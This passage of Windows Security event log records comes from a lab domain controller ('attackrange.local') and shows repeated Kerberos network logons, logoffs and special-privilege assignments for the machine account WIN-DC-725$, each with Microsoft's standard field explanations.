The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248501
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8605

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248500
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB85A3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248499
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB85A3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63937

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248498
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB85A3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248497
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8546

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248496
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8546
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63936

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:19 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248495
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8546

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248518
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB880B

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248517
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB880B
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	2001:0:2851:782c:1810:3209:f5ff:fef1
	Source Port:		63943

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248516
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB880B

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248515
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB87AA

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248514
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB87AA
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63942

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248513
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB87AA

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248512
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8744

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248511
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB8744
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63941

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248510
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB8744

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248509
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB86E3

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248508
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB86E3
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63940

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:20 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248507
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB86E3

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248530
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB89AD

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248529
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB89AD
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::80c8:c9ac:2ea9:b5ba
	Source Port:		63947

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248528
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB89AD

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248527
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB894C

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248526
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB894C
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	fe80::1810:3209:f5ff:fef1
	Source Port:		63946

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248525
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB894C

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
			SeEnableDelegationPrivilege
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4634
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logoff
OpCode=Info
RecordNumber=248524
Keywords=Audit Success
Message=An account was logged off.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB88E6

Logon Type:			3

This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4624
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Logon
OpCode=Info
RecordNumber=248523
Keywords=Audit Success
Message=An account was successfully logged on.

Subject:
	Security ID:		NULL SID
	Account Name:		-
	Account Domain:		-
	Logon ID:		0x0

Logon Information:
	Logon Type:		3
	Restricted Admin Mode:	-
	Virtual Account:		No
	Elevated Token:		Yes

Impersonation Level:		Delegation

New Logon:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE.LOCAL
	Logon ID:		0xB88E6
	Linked Logon ID:		0x0
	Network Account Name:	-
	Network Account Domain:	-
	Logon GUID:		{B6CE28AD-513E-D291-9E71-4027479B73C8}

Process Information:
	Process ID:		0x0
	Process Name:		-

Network Information:
	Workstation Name:	-
	Source Network Address:	10.0.1.14
	Source Port:		63945

Detailed Authentication Information:
	Logon Process:		Kerberos
	Authentication Package:	Kerberos
	Transited Services:	-
	Package Name (NTLM only):	-
	Key Length:		0

This event is generated when a logon session is created. It is generated on the computer that was accessed.

The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe.

The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network).

The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on.

The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases.

The impersonation level field indicates the extent to which a process in the logon session can impersonate.

The authentication information fields provide detailed information about this specific logon request.
	- Logon GUID is a unique identifier that can be used to correlate this event with a KDC event.
	- Transited services indicate which intermediate services have participated in this logon request.
	- Package name indicates which sub-protocol was used among the NTLM protocols.
	- Key length indicates the length of the generated session key. This will be 0 if no session key was requested.
03/11/2021 11:47:21 PM
LogName=Security
SourceName=Microsoft Windows security auditing.
EventCode=4672
EventType=0
Type=Information
ComputerName=win-dc-725.attackrange.local
TaskCategory=Special Logon
OpCode=Info
RecordNumber=248522
Keywords=Audit Success
Message=Special privileges assigned to new logon.

Subject:
	Security ID:		NT AUTHORITY\SYSTEM
	Account Name:		WIN-DC-725$
	Account Domain:		ATTACKRANGE
	Logon ID:		0xB88E6

Privileges:		SeSecurityPrivilege
			SeBackupPrivilege
			SeRestorePrivilege
			SeTakeOwnershipPrivilege
			SeDebugPrivilege
			SeSystemEnvironmentPrivilege
			SeLoadDriverPrivilege
			SeImpersonatePrivilege
			SeDelegateSessionUserImpersonatePrivilege
